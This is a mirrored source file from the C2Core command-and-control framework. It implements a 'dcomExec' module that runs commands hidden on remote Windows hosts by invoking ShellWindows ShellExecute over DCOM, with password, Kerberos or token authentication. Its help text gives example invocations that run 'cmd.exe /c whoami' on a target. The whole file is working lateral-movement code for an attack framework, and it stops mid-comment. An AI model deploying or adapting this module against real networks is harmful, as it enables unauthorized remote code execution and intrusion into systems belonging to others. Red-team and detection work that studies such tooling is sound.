mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
864 lines
27 KiB
C++
864 lines
27 KiB
C++
#include "DcomExec.hpp"
|
||
|
||
#include "Common.hpp"
|
||
|
||
#include <sstream>
|
||
|
||
#ifdef _WIN32
|
||
#include <windows.h>
|
||
#include <cwchar>
|
||
#include <atlbase.h>
|
||
#include <comdef.h>
|
||
#pragma comment(lib, "ole32.lib")
|
||
#pragma comment(lib, "oleaut32.lib")
|
||
using ATL::CComPtr;
|
||
#endif
|
||
|
||
using namespace std;
|
||
|
||
constexpr std::string_view moduleNameDcom = "dcomExec";
|
||
constexpr unsigned long long moduleHashDcom = djb2(moduleNameDcom);
|
||
|
||
#ifdef _WIN32
|
||
extern "C" __declspec(dllexport) DcomExec* DcomExecConstructor()
|
||
{
|
||
return new DcomExec();
|
||
}
|
||
#else
|
||
extern "C" __attribute__((visibility("default"))) DcomExec* DcomExecConstructor()
|
||
{
|
||
return new DcomExec();
|
||
}
|
||
#endif
|
||
|
||
DcomExec::DcomExec()
|
||
#ifdef BUILD_TEAMSERVER
|
||
: ModuleCmd(std::string(moduleNameDcom), moduleHashDcom)
|
||
#else
|
||
: ModuleCmd("", moduleHashDcom)
|
||
#endif
|
||
{
|
||
}
|
||
|
||
DcomExec::~DcomExec() = default;
|
||
|
||
|
||
// DCOM/RPC connectivity (TCP 135 + dynamic RPC high ports)
|
||
std::string DcomExec::getInfo()
|
||
{
|
||
std::ostringstream oss;
|
||
#ifdef BUILD_TEAMSERVER
|
||
oss << "DCOM Execution Module:\n";
|
||
oss << "Trigger remote COM objects to execute commands using ShellWindows {9BA05972-F6A8-11CF-A442-00A0C90A8F39}." << '\n';
|
||
oss << "Options:" << '\n';
|
||
oss << " -h <host> Remote hostname or IP." << '\n';
|
||
oss << " -c <command> Command to execute." << '\n';
|
||
oss << " -a <arguments> Arguments for the command." << '\n';
|
||
oss << " -w <working dir> Working directory." << '\n';
|
||
oss << " -k <spn> SPN to request for Kerberos (e.g. HOST/fqdn)." << '\n';
|
||
oss << " -u <username> Username for explicit credentials." << '\n';
|
||
oss << " -p <password> Password for explicit credentials." << '\n';
|
||
oss << " -n No cred, for local use." << '\n';
|
||
oss << "Example:" << '\n';
|
||
oss << " dcomExec -h fileserver -k HOST/fileserver.domain -u DOMAIN\\\\user -p Passw0rd -c cmd.exe -a \"/c whoami\"" << '\n';
|
||
oss << " dcomExec -h fileserver -c cmd.exe -a \"/c whoami\"\n";
|
||
#endif
|
||
return oss.str();
|
||
}
|
||
|
||
|
||
// packParameters() — append new fields (spn, username, password, noPassword flag)
|
||
std::string DcomExec::packParameters(const Parameters& params) const
|
||
{
|
||
std::string packed;
|
||
auto append = [&packed](const std::string& value)
|
||
{
|
||
packed.append(value);
|
||
packed.push_back('\0');
|
||
};
|
||
|
||
append(params.hostname);
|
||
append(params.progId);
|
||
append(params.command);
|
||
append(params.arguments);
|
||
append(params.workingDir);
|
||
|
||
// new fields
|
||
append(params.spn);
|
||
append(params.username);
|
||
append(params.password);
|
||
|
||
// store noPassword as "1" or "0"
|
||
append(params.noPassword ? "1" : "0");
|
||
|
||
return packed;
|
||
}
|
||
|
||
|
||
// unpackParameters() — read back the added fields
|
||
DcomExec::Parameters DcomExec::unpackParameters(const std::string& data) const
|
||
{
|
||
Parameters params;
|
||
std::vector<std::string> parts;
|
||
size_t start = 0;
|
||
while (start < data.size())
|
||
{
|
||
size_t end = data.find('\0', start);
|
||
if (end == std::string::npos)
|
||
{
|
||
break;
|
||
}
|
||
parts.emplace_back(data.substr(start, end - start));
|
||
start = end + 1;
|
||
}
|
||
|
||
// we now expect at least 9 parts:
|
||
// hostname, progId, command, arguments, workingDir, spn, username, password, noPassword
|
||
if (parts.size() < 9)
|
||
{
|
||
return params;
|
||
}
|
||
|
||
params.hostname = parts[0];
|
||
params.progId = parts[1];
|
||
params.command = parts[2];
|
||
params.arguments = parts[3];
|
||
params.workingDir = parts[4];
|
||
|
||
// new fields
|
||
params.spn = parts[5];
|
||
params.username = parts[6];
|
||
params.password = parts[7];
|
||
params.noPassword = (parts[8] == "1");
|
||
|
||
return params;
|
||
}
|
||
|
||
|
||
int DcomExec::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
|
||
{
|
||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) || defined(C2CORE_BUILD_TESTS)
|
||
std::vector<std::string> args = regroupStrings(splitedCmd);
|
||
Parameters params;
|
||
|
||
if (args.size() < 2)
|
||
{
|
||
c2Message.set_returnvalue(getInfo());
|
||
return -1;
|
||
}
|
||
|
||
params.noPassword=false;
|
||
|
||
for (size_t i = 1; i < args.size(); ++i)
|
||
{
|
||
const std::string& current = args[i];
|
||
if (current == "-h" && i + 1 < args.size())
|
||
{
|
||
params.hostname = args[++i];
|
||
}
|
||
else if (current == "-c" && i + 1 < args.size())
|
||
{
|
||
params.command = args[++i];
|
||
}
|
||
else if (current == "-a" && i + 1 < args.size())
|
||
{
|
||
params.arguments = args[++i];
|
||
}
|
||
else if (current == "-w" && i + 1 < args.size())
|
||
{
|
||
params.workingDir = args[++i];
|
||
}
|
||
else if (current == "-k" && i + 1 < args.size())
|
||
{
|
||
params.spn = args[++i];
|
||
}
|
||
else if (current == "-u" && i + 1 < args.size())
|
||
{
|
||
params.username = args[++i];
|
||
}
|
||
else if (current == "-p" && i + 1 < args.size())
|
||
{
|
||
params.password = args[++i];
|
||
}
|
||
else if (current == "-n")
|
||
{
|
||
// no cred use
|
||
params.noPassword = true;
|
||
}
|
||
// fallback: positional args (hostname, command, arguments)
|
||
else if (!current.empty() && current[0] != '-')
|
||
{
|
||
if (params.hostname.empty())
|
||
{
|
||
params.hostname = current;
|
||
}
|
||
else if (params.command.empty())
|
||
{
|
||
params.command = current;
|
||
}
|
||
else if (params.arguments.empty())
|
||
{
|
||
params.arguments = current;
|
||
}
|
||
}
|
||
}
|
||
|
||
// Basic validation
|
||
if (params.hostname.empty() || params.command.empty())
|
||
{
|
||
c2Message.set_returnvalue("Missing hostname or command.\n" + getInfo());
|
||
return -1;
|
||
}
|
||
|
||
// Credential validation rules:
|
||
// - If username provided:
|
||
// - If noPassword == false and password empty => error (we expect -p)
|
||
// - If noPassword == true => ok (we will not send password; client likely wants to use ticket or blank password)
|
||
// - If password provided without username => error
|
||
if (!params.username.empty())
|
||
{
|
||
if (!params.noPassword && params.password.empty())
|
||
{
|
||
c2Message.set_returnvalue("Username provided but no password (-p) and -n not set.\n" + getInfo());
|
||
return -1;
|
||
}
|
||
}
|
||
else
|
||
{
|
||
// username empty
|
||
if (!params.password.empty())
|
||
{
|
||
c2Message.set_returnvalue("Password supplied (-p) but no username (-u).\n" + getInfo());
|
||
return -1;
|
||
}
|
||
}
|
||
|
||
// store instruction + packed params
|
||
c2Message.set_instruction(splitedCmd[0]);
|
||
c2Message.set_cmd(packParameters(params));
|
||
#endif
|
||
return 0;
|
||
}
|
||
|
||
|
||
int DcomExec::process(C2Message& c2Message, C2Message& c2RetMessage)
|
||
{
|
||
std::string cmd = c2Message.cmd();
|
||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||
c2RetMessage.set_cmd(cmd);
|
||
|
||
Parameters params = unpackParameters(c2Message.cmd());
|
||
std::string result;
|
||
int error = 0;
|
||
|
||
#ifdef _WIN32
|
||
error = executeRemote(params, result);
|
||
#else
|
||
result = "Oly supported on Windows.\n";
|
||
#endif
|
||
|
||
if(error)
|
||
c2RetMessage.set_errorCode(error);
|
||
|
||
c2RetMessage.set_instruction(c2Message.instruction());
|
||
c2RetMessage.set_cmd(c2Message.cmd());
|
||
c2RetMessage.set_returnvalue(result);
|
||
return 0;
|
||
}
|
||
|
||
|
||
#define ERROR_SUCCESS 0
|
||
#define ERROR_COINIT_FAILED 1
|
||
#define ERROR_CLSIDFROMSTRING_FAILED 2
|
||
#define ERROR_COCREATEINSTANCE_FAILED 3
|
||
#define ERROR_GETIDS_ITEM_FAILED 4
|
||
#define ERROR_INVOKE_ITEM_FAILED 5
|
||
#define ERROR_GETIDS_DOCUMENT_FAILED 6
|
||
#define ERROR_INVOKE_DOCUMENT_FAILED 7
|
||
#define ERROR_GETIDS_APPLICATION_FAILED 8
|
||
#define ERROR_INVOKE_APPLICATION_FAILED 9
|
||
#define ERROR_GETIDS_SHELLEXECUTE_FAILED 10
|
||
#define ERROR_INVOKE_SHELLEXECUTE_FAILED 11
|
||
#define ERROR_AUTHIDENTITY_ALLOC_FAILED 12
|
||
#define ERROR_SET_PROXY_BLANKET_FAILED 13
|
||
|
||
|
||
int DcomExec::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg)
|
||
{
|
||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) || defined(C2CORE_BUILD_TESTS)
|
||
int errorCode = c2RetMessage.errorCode();
|
||
|
||
if(errorCode > 0)
|
||
{
|
||
// Handle specific error codes and provide detailed messages
|
||
switch (errorCode)
|
||
{
|
||
case ERROR_COINIT_FAILED:
|
||
errorMsg = "CoInitializeEx failed: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_CLSIDFROMSTRING_FAILED:
|
||
errorMsg = "CLSIDFromString failed: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_COCREATEINSTANCE_FAILED:
|
||
errorMsg = "CoCreateInstanceEx failed: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_GETIDS_ITEM_FAILED:
|
||
errorMsg = "Failed to get 'Item' ID: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_INVOKE_ITEM_FAILED:
|
||
errorMsg = "Invoke 'Item' method failed: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_GETIDS_DOCUMENT_FAILED:
|
||
errorMsg = "Failed to get 'Document' ID: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_INVOKE_DOCUMENT_FAILED:
|
||
errorMsg = "Invoke 'Document' method failed: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_GETIDS_APPLICATION_FAILED:
|
||
errorMsg = "Failed to get 'Application' ID: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_INVOKE_APPLICATION_FAILED:
|
||
errorMsg = "Invoke 'Application' method failed: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_GETIDS_SHELLEXECUTE_FAILED:
|
||
errorMsg = "Failed to get 'ShellExecute' ID: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_INVOKE_SHELLEXECUTE_FAILED:
|
||
errorMsg = "Invoke 'ShellExecute' method failed: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_AUTHIDENTITY_ALLOC_FAILED:
|
||
errorMsg = "Authentication identity allocation failed: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
case ERROR_SET_PROXY_BLANKET_FAILED:
|
||
errorMsg = "CoSetProxyBlanket failed: " + c2RetMessage.returnvalue();
|
||
break;
|
||
|
||
default:
|
||
// For any other error codes
|
||
errorMsg = "Unknown error occurred: " + c2RetMessage.returnvalue();
|
||
break;
|
||
}
|
||
}
|
||
#endif
|
||
return 0;
|
||
}
|
||
|
||
|
||
#ifdef _WIN32
|
||
namespace
|
||
{
|
||
std::wstring toWide(const std::string& value)
|
||
{
|
||
if (value.empty())
|
||
{
|
||
return std::wstring();
|
||
}
|
||
int sizeNeeded = MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), nullptr, 0);
|
||
std::wstring wide(sizeNeeded, L'\0');
|
||
MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), wide.data(), sizeNeeded);
|
||
return wide;
|
||
}
|
||
|
||
std::string formatHResult(HRESULT hr)
|
||
{
|
||
_com_error err(hr);
|
||
std::ostringstream oss;
|
||
oss << "0x" << std::hex << std::uppercase << hr << ": " << err.ErrorMessage();
|
||
return oss.str();
|
||
}
|
||
|
||
static COAUTHIDENTITY* MakeAuthIdentityW(const std::wstring& user, const std::wstring& domain, const std::wstring& pass)
|
||
{
|
||
COAUTHIDENTITY* p = (COAUTHIDENTITY*)CoTaskMemAlloc(sizeof(COAUTHIDENTITY));
|
||
if (!p) return nullptr;
|
||
ZeroMemory(p, sizeof(*p));
|
||
// NOTE: CoTaskMemAlloc used so it can be freed with CoTaskMemFree
|
||
p->User = (USHORT*)CoTaskMemAlloc((user.size()+1) * sizeof(wchar_t));
|
||
p->Domain = (USHORT*)CoTaskMemAlloc((domain.size()+1) * sizeof(wchar_t));
|
||
p->Password = (USHORT*)CoTaskMemAlloc((pass.size()+1) * sizeof(wchar_t));
|
||
if (!p->User || !p->Domain || !p->Password) {
|
||
if (p->User) CoTaskMemFree(p->User);
|
||
if (p->Domain) CoTaskMemFree(p->Domain);
|
||
if (p->Password) CoTaskMemFree(p->Password);
|
||
CoTaskMemFree(p);
|
||
return nullptr;
|
||
}
|
||
wcscpy_s((wchar_t*)p->User, user.size()+1, user.c_str());
|
||
wcscpy_s((wchar_t*)p->Domain, domain.size()+1, domain.c_str());
|
||
wcscpy_s((wchar_t*)p->Password, pass.size()+1, pass.c_str());
|
||
p->UserLength = (ULONG)user.size();
|
||
p->DomainLength = (ULONG)domain.size();
|
||
p->PasswordLength = (ULONG)pass.size();
|
||
p->Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
|
||
return p;
|
||
}
|
||
|
||
void FreeAuthIdentity(COAUTHIDENTITY* p)
|
||
{
|
||
if (!p) return;
|
||
if (p->User) CoTaskMemFree(p->User);
|
||
if (p->Domain) CoTaskMemFree(p->Domain);
|
||
if (p->Password) CoTaskMemFree(p->Password);
|
||
CoTaskMemFree(p);
|
||
}
|
||
}
|
||
|
||
|
||
// +-------------------------------------------------------------+
|
||
// | CLSID_ShellWindows ({9BA05972-F6A8-11CF-A442-00A0C90A8F39}) |
|
||
// | → IDispatch interface (returned by CoCreateInstanceEx) |
|
||
// +-------------------------------------------------------------+
|
||
// │
|
||
// ▼
|
||
// .Item(index = 0)
|
||
// │
|
||
// ▼
|
||
// +----------------+----------------+
|
||
// | IDispatch for Shell Window |
|
||
// | (represents a single Explorer |
|
||
// | or IE window instance) |
|
||
// +---------------------------------+
|
||
// │
|
||
// ▼
|
||
// .Document property
|
||
// │
|
||
// ▼
|
||
// +----------------+----------------+
|
||
// | IDispatch for Document object |
|
||
// | (represents the loaded content |
|
||
// | or folder view) |
|
||
// +---------------------------------+
|
||
// │
|
||
// ▼
|
||
// .Application property
|
||
// │
|
||
// ▼
|
||
// +----------------+----------------+
|
||
// | IDispatch for Application |
|
||
// | (represents the top-level |
|
||
// | shell application instance, |
|
||
// | exposes Shell automation API) |
|
||
// +---------------------------------+
|
||
// │
|
||
// ▼
|
||
// .ShellExecute(file, args, dir, op, show)
|
||
// │
|
||
// ▼
|
||
// Executes the remote command on the target
|
||
|
||
// https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
|
||
// TODO https://github.com/xforcered/ForsHops/blob/main/ForsHops.cpp ?
|
||
int DcomExec::executeRemote(const Parameters& params, std::string& result) const
|
||
{
|
||
DWORD authnSvc = RPC_C_AUTHN_WINNT;
|
||
const DWORD authzSvc = RPC_C_AUTHZ_NONE;
|
||
const DWORD authnLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY;
|
||
const DWORD impLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
|
||
DWORD capabilities = EOAC_NONE;
|
||
|
||
std::wstring spn = std::wstring(params.spn.begin(), params.spn.end());
|
||
std::wstring hostnameWide = toWide(params.hostname);
|
||
std::wstring domainW;
|
||
std::wstring userW;
|
||
std::wstring passW;
|
||
|
||
bool usernameProvided = !params.username.empty();
|
||
bool passwordProvided = !params.password.empty();
|
||
|
||
bool useExplicitCreds = usernameProvided && passwordProvided;
|
||
|
||
COAUTHIDENTITY* authIdentity = nullptr;
|
||
COAUTHINFO authInfo = {};
|
||
bool authInfoConfigured = false;
|
||
|
||
// use user name password
|
||
// - local account
|
||
// - domain accounts
|
||
if (useExplicitCreds)
|
||
{
|
||
userW = std::wstring(params.username.begin(), params.username.end());
|
||
passW = std::wstring(params.password.begin(), params.password.end());
|
||
|
||
// Support DOMAIN\\User
|
||
size_t slashPos = userW.find(L'\\');
|
||
if (slashPos != std::wstring::npos)
|
||
{
|
||
domainW = userW.substr(0, slashPos);
|
||
userW = userW.substr(slashPos + 1);
|
||
}
|
||
else
|
||
{
|
||
domainW.clear();
|
||
}
|
||
|
||
// Detect local account usage (DOMAIN == '.' or empty or same as hostname)
|
||
bool isLocalAccount = false;
|
||
if (domainW.empty() || domainW == L".")
|
||
{
|
||
isLocalAccount = true;
|
||
}
|
||
else if (!hostnameWide.empty() && _wcsicmp(domainW.c_str(), hostnameWide.c_str()) == 0)
|
||
{
|
||
isLocalAccount = true;
|
||
}
|
||
|
||
if (isLocalAccount)
|
||
{
|
||
// Use machine name when authenticating with a local account
|
||
if (!hostnameWide.empty())
|
||
{
|
||
domainW = hostnameWide;
|
||
}
|
||
authnSvc = RPC_C_AUTHN_WINNT;
|
||
}
|
||
else
|
||
{
|
||
// Domain credentials – prefer Kerberos when an SPN is supplied, fallback to Negotiate otherwise
|
||
authnSvc = spn.empty() ? RPC_C_AUTHN_GSS_NEGOTIATE : RPC_C_AUTHN_GSS_KERBEROS;
|
||
capabilities = spn.empty() ? EOAC_NONE : RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH;
|
||
}
|
||
|
||
authIdentity = MakeAuthIdentityW(userW, domainW, passW);
|
||
if (!authIdentity)
|
||
{
|
||
result = "Failed to allocate authentication identity.";
|
||
return ERROR_AUTHIDENTITY_ALLOC_FAILED;
|
||
}
|
||
|
||
authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT;
|
||
authInfo.dwAuthzSvc = authzSvc;
|
||
authInfo.pwszServerPrincName = NULL;
|
||
authInfo.dwAuthnLevel = RPC_C_AUTHN_LEVEL_DEFAULT;
|
||
authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
|
||
authInfo.pAuthIdentityData = authIdentity;
|
||
authInfo.dwCapabilities = capabilities;
|
||
authInfoConfigured = true;
|
||
}
|
||
// Don't use credentials
|
||
// - kerberos ticket from process memory = !spn.empty()
|
||
// - local call ?
|
||
else
|
||
{
|
||
// No explicit credentials provided – rely on the caller's token
|
||
if (!spn.empty())
|
||
{
|
||
authnSvc = RPC_C_AUTHN_GSS_KERBEROS;
|
||
capabilities = RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH;
|
||
authInfo.dwAuthnSvc = authnSvc;
|
||
authInfo.dwAuthzSvc = authzSvc;
|
||
authInfo.pwszServerPrincName = const_cast<LPWSTR>(spn.c_str());
|
||
authInfo.dwAuthnLevel = authnLevel;
|
||
authInfo.dwImpersonationLevel = impLevel;
|
||
authInfo.pAuthIdentityData = nullptr;
|
||
authInfo.dwCapabilities = capabilities;
|
||
authInfoConfigured = true;
|
||
}
|
||
else
|
||
{
|
||
authnSvc = RPC_C_AUTHN_WINNT;
|
||
capabilities = EOAC_NONE;
|
||
}
|
||
}
|
||
|
||
HRESULT hr;
|
||
bool needUninit = false;
|
||
result.clear();
|
||
|
||
// Initialize COM
|
||
hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
|
||
if (SUCCEEDED(hr))
|
||
{
|
||
needUninit = true;
|
||
}
|
||
else if (hr != RPC_E_CHANGED_MODE)
|
||
{
|
||
result = formatHResult(hr);
|
||
return ERROR_COINIT_FAILED;
|
||
}
|
||
|
||
// Optional (recommended): set process-wide defaults before doing remote calls
|
||
// Note: call this once (and before CoCreateInstanceEx ideally)
|
||
CoInitializeSecurity(
|
||
nullptr, // pSecDesc
|
||
-1, // cAuthSvc
|
||
nullptr, // asAuthSvc
|
||
nullptr, // pReserved1
|
||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, // RPC_C_AUTHN_LEVEL
|
||
RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL
|
||
nullptr, // pAuthList (use default)
|
||
EOAC_NONE, // dwCapabilities
|
||
nullptr // pReserved
|
||
);
|
||
|
||
// Convert CLSID
|
||
CLSID clsid;
|
||
// CLSID_ShellWindows
|
||
std::wstring clsidStr = L"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}";
|
||
hr = CLSIDFromString((LPOLESTR)clsidStr.c_str(), &clsid);
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_CLSIDFROMSTRING_FAILED;
|
||
}
|
||
|
||
// Server info
|
||
COSERVERINFO serverInfo = {};
|
||
serverInfo.pwszName = hostnameWide.empty() ? nullptr : const_cast<LPWSTR>(hostnameWide.c_str());
|
||
if (authInfoConfigured)
|
||
{
|
||
serverInfo.pAuthInfo = &authInfo;
|
||
}
|
||
|
||
MULTI_QI mqi = {};
|
||
mqi.pIID = &IID_IDispatch;
|
||
mqi.pItf = nullptr;
|
||
mqi.hr = 0;
|
||
|
||
// Create remote COM object
|
||
hr = CoCreateInstanceEx(clsid, nullptr, CLSCTX_REMOTE_SERVER | CLSCTX_LOCAL_SERVER,
|
||
serverInfo.pwszName ? &serverInfo : nullptr, 1, &mqi);
|
||
if (FAILED(hr) || FAILED(mqi.hr))
|
||
{
|
||
result = formatHResult(FAILED(hr) ? hr : mqi.hr);
|
||
if (authIdentity) FreeAuthIdentity(authIdentity);
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_COCREATEINSTANCE_FAILED;
|
||
}
|
||
|
||
CComPtr<IDispatch> dispatch;
|
||
dispatch.Attach(static_cast<IDispatch*>(mqi.pItf));
|
||
|
||
LPWSTR proxySpn = nullptr;
|
||
if (authInfoConfigured && authInfo.pwszServerPrincName)
|
||
{
|
||
proxySpn = authInfo.pwszServerPrincName;
|
||
}
|
||
|
||
hr = CoSetProxyBlanket(
|
||
dispatch,
|
||
authnSvc,
|
||
authzSvc,
|
||
proxySpn,
|
||
authnLevel,
|
||
impLevel,
|
||
authIdentity,
|
||
capabilities
|
||
);
|
||
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
if (authIdentity) FreeAuthIdentity(authIdentity);
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_SET_PROXY_BLANKET_FAILED;
|
||
}
|
||
|
||
if (authIdentity)
|
||
{
|
||
FreeAuthIdentity(authIdentity);
|
||
authIdentity = nullptr;
|
||
}
|
||
|
||
// Get "Item"
|
||
DISPID dispid;
|
||
OLECHAR* methodName = const_cast<OLECHAR*>(L"Item");
|
||
hr = dispatch->GetIDsOfNames(IID_NULL, &methodName, 1, LOCALE_USER_DEFAULT, &dispid);
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_GETIDS_ITEM_FAILED;
|
||
}
|
||
|
||
int itemIndex = 0;
|
||
VARIANT idx; VariantInit(&idx);
|
||
idx.vt = VT_I4; idx.lVal = itemIndex;
|
||
DISPPARAMS dpItem = { &idx, nullptr, 1, 0 };
|
||
|
||
VARIANT vWindow; VariantInit(&vWindow);
|
||
hr = dispatch->Invoke(dispid, IID_NULL, LOCALE_USER_DEFAULT,
|
||
DISPATCH_METHOD | DISPATCH_PROPERTYGET,
|
||
&dpItem, &vWindow, nullptr, nullptr);
|
||
VariantClear(&idx);
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_INVOKE_ITEM_FAILED;
|
||
}
|
||
|
||
IDispatch* windowDisp = vWindow.pdispVal;
|
||
if(windowDisp==nullptr)
|
||
{
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_INVOKE_ITEM_FAILED;
|
||
}
|
||
|
||
// Get "Document"
|
||
DISPID dispidDocument;
|
||
OLECHAR* nameDocument = const_cast<OLECHAR*>(L"Document");
|
||
hr = windowDisp->GetIDsOfNames(IID_NULL, &nameDocument, 1, LOCALE_USER_DEFAULT, &dispidDocument);
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
windowDisp->Release();
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_GETIDS_DOCUMENT_FAILED;
|
||
}
|
||
|
||
VARIANT vDoc; VariantInit(&vDoc);
|
||
DISPPARAMS dpNoArgs = { nullptr, nullptr, 0, 0 };
|
||
hr = windowDisp->Invoke(dispidDocument, IID_NULL, LOCALE_USER_DEFAULT,
|
||
DISPATCH_PROPERTYGET, &dpNoArgs, &vDoc, nullptr, nullptr);
|
||
windowDisp->Release();
|
||
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_INVOKE_DOCUMENT_FAILED;
|
||
}
|
||
|
||
IDispatch* docDisp = vDoc.pdispVal;
|
||
|
||
// Get "Application"
|
||
DISPID dispidApplication;
|
||
OLECHAR* nameApplication = const_cast<OLECHAR*>(L"Application");
|
||
hr = docDisp->GetIDsOfNames(IID_NULL, &nameApplication, 1, LOCALE_USER_DEFAULT, &dispidApplication);
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
docDisp->Release();
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_GETIDS_APPLICATION_FAILED;
|
||
}
|
||
|
||
VARIANT vApp; VariantInit(&vApp);
|
||
hr = docDisp->Invoke(dispidApplication, IID_NULL, LOCALE_USER_DEFAULT,
|
||
DISPATCH_PROPERTYGET, &dpNoArgs, &vApp, nullptr, nullptr);
|
||
docDisp->Release();
|
||
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_INVOKE_APPLICATION_FAILED;
|
||
}
|
||
|
||
IDispatch* appDisp = vApp.pdispVal;
|
||
|
||
// Get "ShellExecute"
|
||
DISPID dispidShellExecute;
|
||
OLECHAR* nameShellExecute = const_cast<OLECHAR*>(L"ShellExecute");
|
||
hr = appDisp->GetIDsOfNames(IID_NULL, &nameShellExecute, 1, LOCALE_USER_DEFAULT, &dispidShellExecute);
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
appDisp->Release();
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_GETIDS_SHELLEXECUTE_FAILED;
|
||
}
|
||
|
||
// Prepare ShellExecute args
|
||
VARIANT args[5];
|
||
for (int i = 0; i < 5; ++i) VariantInit(&args[i]);
|
||
args[0].vt = VT_I4; args[0].lVal = SW_HIDE;
|
||
args[1].vt = VT_BSTR; args[1].bstrVal = SysAllocString(L"open");
|
||
args[2].vt = VT_BSTR; args[2].bstrVal = SysAllocString(toWide(params.workingDir).c_str());
|
||
args[3].vt = VT_BSTR; args[3].bstrVal = SysAllocString(toWide(params.arguments).c_str());
|
||
args[4].vt = VT_BSTR; args[4].bstrVal = SysAllocString(toWide(params.command).c_str());
|
||
|
||
DISPPARAMS dp = { args, nullptr, 5, 0 };
|
||
VARIANT vResult; VariantInit(&vResult);
|
||
EXCEPINFO exInfo = {};
|
||
UINT argErr = (UINT)-1;
|
||
|
||
hr = appDisp->Invoke(dispidShellExecute, IID_NULL, LOCALE_USER_DEFAULT,
|
||
DISPATCH_METHOD, &dp, &vResult, &exInfo, &argErr);
|
||
|
||
for (int i = 0; i < 5; ++i) VariantClear(&args[i]);
|
||
VariantClear(&vResult);
|
||
appDisp->Release();
|
||
|
||
if (FAILED(hr))
|
||
{
|
||
result = formatHResult(hr);
|
||
if (needUninit) CoUninitialize();
|
||
return ERROR_INVOKE_SHELLEXECUTE_FAILED;
|
||
}
|
||
|
||
if (needUninit)
|
||
CoUninitialize();
|
||
|
||
result = "Success";
|
||
return ERROR_SUCCESS;
|
||
}
|
||
|
||
#endif
|
||
|
||
|
||
//
|
||
// CLSID from progID
|
||
//
|
||
|
||
// CLSID clsid;
|
||
// std::wstring progIdWide = toWide(params.progId);
|
||
// hr = CLSIDFromProgID(progIdWide.c_str(), &clsid);
|
||
// if (FAILED(hr))
|
||
// {
|
||
// if (needUninit)
|
||
// {
|
||
// CoUninitialize();
|
||
// }
|
||
// return "CLSIDFromProgID failed: " + formatHResult(hr) + "\n";
|
||
// }
|
||
|
||
//
|
||
// Enum
|
||
//
|
||
|
||
// CComPtr<ITypeInfo> pTypeInfo;
|
||
// hr = dispatch->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pTypeInfo);
|
||
// if (SUCCEEDED(hr) && pTypeInfo) {
|
||
// TYPEATTR* pAttr = nullptr;
|
||
// hr = pTypeInfo->GetTypeAttr(&pAttr);
|
||
// if (SUCCEEDED(hr) && pAttr) {
|
||
// for (UINT i = 0; i < pAttr->cFuncs; ++i) {
|
||
// FUNCDESC* pFuncDesc = nullptr;
|
||
// if (SUCCEEDED(pTypeInfo->GetFuncDesc(i, &pFuncDesc))) {
|
||
// UINT cNames = 0;
|
||
// // first call GetNames to learn the name(s) for this memid
|
||
// BSTR* names = nullptr;
|
||
// // GetNames will allocate the BSTRs into caller supplied array.
|
||
// // We don't know how many names, but GetNames returns the count.
|
||
// // Here we allocate a safe array of size 16 for names:
|
||
// names = (BSTR*)CoTaskMemAlloc(sizeof(BSTR) * 16);
|
||
// if (names) {
|
||
// hr = pTypeInfo->GetNames(pFuncDesc->memid, names, 16, &cNames);
|
||
// if (SUCCEEDED(hr)) {
|
||
// for (UINT n = 0; n < cNames; ++n) {
|
||
// wprintf(L"Name: %s\n", names[n]);
|
||
// SysFreeString(names[n]);
|
||
